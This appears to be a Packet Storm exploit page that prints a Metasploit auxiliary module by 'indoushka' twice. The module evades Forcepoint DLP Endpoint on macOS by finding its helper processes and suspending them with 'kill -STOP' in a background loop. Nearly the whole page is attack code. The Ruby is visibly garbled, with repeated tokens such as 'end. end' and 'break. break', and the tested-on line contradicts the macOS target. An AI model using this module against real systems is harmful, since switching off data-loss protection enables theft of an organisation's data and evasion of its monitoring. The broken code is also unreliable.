Description
This Metasploit auxiliary module targets Forcepoint Data Loss Prevention DLP Endpoint on macOS and attempts to manipulate or suspend related security processes...
Basic Information
ID
PACKETSTORM:219672
Published
Apr 23, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Forcepoint One Endpoint macOS 25.08.5008 Forcepoint DLP Endpoint Process Suspension Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.forcepoint.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets Forcepoint Data Loss Prevention (DLP) Endpoint on macOS and attempts to manipulate or suspend related security processes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Forcepoint DLP Endpoint for macOS Process Suspension Bypass',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['osx'],
'Arch' => [ARCH_X64, ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS (Safari + Forcepoint DLP)', {}]],
'DefaultTarget' => 0,
'Actions' => [
['START', { 'Description' => 'Start bypass' }],
['STOP', { 'Description' => 'Stop bypass' }],
['CHECK', { 'Description' => 'Check target' }]
],
'DefaultAction' => 'START'
)
)
register_options([
OptInt.new('SCAN_INTERVAL', [true, 'Interval in seconds between scans', 1]),
OptBool.new('BACKGROUND', [true, 'Run in background', true]),
OptString.new('TARGET_PROCESSES', [true, 'Processes',
'Websense Endpoint Helper,SafariExtension,ForcepointExtensions,com.forcepoint.dlp.safari,SafariContentBlocker'])
])
end. end
def run
case action.name
when 'CHECK'
check_vulnerability
when 'START'
start_bypass
when 'STOP'
stop_bypass
else
print_error("Invalid action: #{action.name}")
end. end
end. end
def check_vulnerability
print_status("Checking for Forcepoint DLP...")
wsdlpd = cmd_exec("pgrep -x wsdlpd").to_s.strip
if wsdlpd. empty?
print_error("wsdlpd not found")
return Exploit::CheckCode::Safe
end. end
print_good("wsdlpd found (PID: #{wsdlpd})")
uid = cmd_exec("id -u").to_s.strip.to_i
unless uid == 0
test_pid = wsdlpd.split.first
result = cmd_exec("kill -STOP #{test_pid} 2>&1").to_s
if result.include?("Operation not permitted")
print_good("wsdlpd protected (EPERM)")
end. end
cmd_exec("kill -CONT #{test_pid} 2>&1")
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
found_helpers = []
targets. each do |proc|
result = cmd_exec("pgrep -f '#{proc.strip}'").to_s.strip
unless result. empty?
found_helpers << proc. strip
print_good("Found: #{proc.strip} (PID: #{result})")
end. end
end. end
if found_helpers. empty?
print_warning("No helper processes found")
return Exploit::CheckCode::Detected
end. end
print_good("Target appears vulnerable")
Exploit::CheckCode::Appears
end. end
def start_bypass
print_status("Starting bypass...")
return unless check_vulnerability == Exploit::CheckCode::Appears
if datastore['BACKGROUND']
@bypass_thread = framework.threads.spawn("ForcepointBypass", false) do
bypass_loop
end. end
print_good("Running in background")
else
bypass_loop
end. end
end. end
def bypass_loop
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
my_uid = cmd_exec("id -u").to_s.strip.to_i
my_pid = Process.pid # FIX: Replace echo $$
loop do
begin
ps_output = cmd_exec("ps -ax -o pid=,uid=,comm=").to_s
ps_output.each_line do |line|
parts = line.strip.split(/\s+/, 3)
next if parts.length < 3
pid = parts[0]. to_i
uid = parts[1]. to_i
comm = parts[2].to_s
next if pid == my_pid
targets.each do |target|
next unless comm.downcase.include?(target.strip.downcase)
if uid == my_uid
result = cmd_exec("kill -STOP #{pid} 2>&1").to_s
print_good("Suspended #{pid} (#{comm})") if result. empty?
end. end
end. end
end. end
sleep(datastore['SCAN_INTERVAL'].to_i)
rescue => e
print_error("Loop error: #{e}")
break. break
end. end
end. end
end. end
def stop_bypass
print_status("Stopping bypass...")
if @bypass_thread && @bypass_thread.alive?
@bypass_thread.kill
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
resumed = 0
targets.each do |target|
pids = cmd_exec("pgrep -f '#{target.strip}'").to_s.strip
next if pids. empty?
pids.split.each do |pid|
result = cmd_exec("kill -CONT #{pid} 2>&1").to_s
if result. empty?
resumed += 1
print_good("Resumed #{pid}")
end. end
end. end
end. end
print_good("Resumed #{resumed} processes")
end. end
end. end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Forcepoint One Endpoint macOS 25.08.5008 Forcepoint DLP Endpoint Process Suspension Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.forcepoint.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets Forcepoint Data Loss Prevention (DLP) Endpoint on macOS and attempts to manipulate or suspend related security processes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Forcepoint DLP Endpoint for macOS Process Suspension Bypass',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['osx'],
'Arch' => [ARCH_X64, ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS (Safari + Forcepoint DLP)', {}]],
'DefaultTarget' => 0,
'Actions' => [
['START', { 'Description' => 'Start bypass' }],
['STOP', { 'Description' => 'Stop bypass' }],
['CHECK', { 'Description' => 'Check target' }]
],
'DefaultAction' => 'START'
)
)
register_options([
OptInt.new('SCAN_INTERVAL', [true, 'Interval in seconds between scans', 1]),
OptBool.new('BACKGROUND', [true, 'Run in background', true]),
OptString.new('TARGET_PROCESSES', [true, 'Processes',
'Websense Endpoint Helper,SafariExtension,ForcepointExtensions,com.forcepoint.dlp.safari,SafariContentBlocker'])
])
end. end
def run
case action.name
when 'CHECK'
check_vulnerability
when 'START'
start_bypass
when 'STOP'
stop_bypass
else
print_error("Invalid action: #{action.name}")
end. end
end. end
def check_vulnerability
print_status("Checking for Forcepoint DLP...")
wsdlpd = cmd_exec("pgrep -x wsdlpd").to_s.strip
if wsdlpd. empty?
print_error("wsdlpd not found")
return Exploit::CheckCode::Safe
end. end
print_good("wsdlpd found (PID: #{wsdlpd})")
uid = cmd_exec("id -u").to_s.strip.to_i
unless uid == 0
test_pid = wsdlpd.split.first
result = cmd_exec("kill -STOP #{test_pid} 2>&1").to_s
if result.include?("Operation not permitted")
print_good("wsdlpd protected (EPERM)")
end. end
cmd_exec("kill -CONT #{test_pid} 2>&1")
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
found_helpers = []
targets. each do |proc|
result = cmd_exec("pgrep -f '#{proc.strip}'").to_s.strip
unless result. empty?
found_helpers << proc. strip
print_good("Found: #{proc.strip} (PID: #{result})")
end. end
end. end
if found_helpers. empty?
print_warning("No helper processes found")
return Exploit::CheckCode::Detected
end. end
print_good("Target appears vulnerable")
Exploit::CheckCode::Appears
end. end
def start_bypass
print_status("Starting bypass...")
return unless check_vulnerability == Exploit::CheckCode::Appears
if datastore['BACKGROUND']
@bypass_thread = framework.threads.spawn("ForcepointBypass", false) do
bypass_loop
end. end
print_good("Running in background")
else
bypass_loop
end. end
end. end
def bypass_loop
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
my_uid = cmd_exec("id -u").to_s.strip.to_i
my_pid = Process.pid # FIX: Replace echo $$
loop do
begin
ps_output = cmd_exec("ps -ax -o pid=,uid=,comm=").to_s
ps_output.each_line do |line|
parts = line.strip.split(/\s+/, 3)
next if parts.length < 3
pid = parts[0]. to_i
uid = parts[1]. to_i
comm = parts[2].to_s
next if pid == my_pid
targets.each do |target|
next unless comm.downcase.include?(target.strip.downcase)
if uid == my_uid
result = cmd_exec("kill -STOP #{pid} 2>&1").to_s
print_good("Suspended #{pid} (#{comm})") if result. empty?
end. end
end. end
end. end
sleep(datastore['SCAN_INTERVAL'].to_i)
rescue => e
print_error("Loop error: #{e}")
break. break
end. end
end. end
end. end
def stop_bypass
print_status("Stopping bypass...")
if @bypass_thread && @bypass_thread.alive?
@bypass_thread.kill
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
resumed = 0
targets.each do |target|
pids = cmd_exec("pgrep -f '#{target.strip}'").to_s.strip
next if pids. empty?
pids.split.each do |pid|
result = cmd_exec("kill -CONT #{pid} 2>&1").to_s
if result. empty?
resumed += 1
print_good("Resumed #{pid}")
end. end
end. end
end. end
print_good("Resumed #{resumed} processes")
end. end
end. end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================